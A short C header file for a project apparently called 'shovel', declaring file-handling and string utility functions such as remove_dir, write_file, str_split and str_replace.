2022/6/25. // #ifndef SHOVEL_UTILS_H #define SHOVEL_UTILS_H #endif //SHOVEL_UTILS_H int remove_dir(char *); int remove_file(char *); void output_bash_warning(char *, char *); int write_file(char *, char *, int); int read_file(char *, char*, int); int file_exist(char *); char **str_split(char *, char); char *str_replace(char *orig, char *rep, char *with);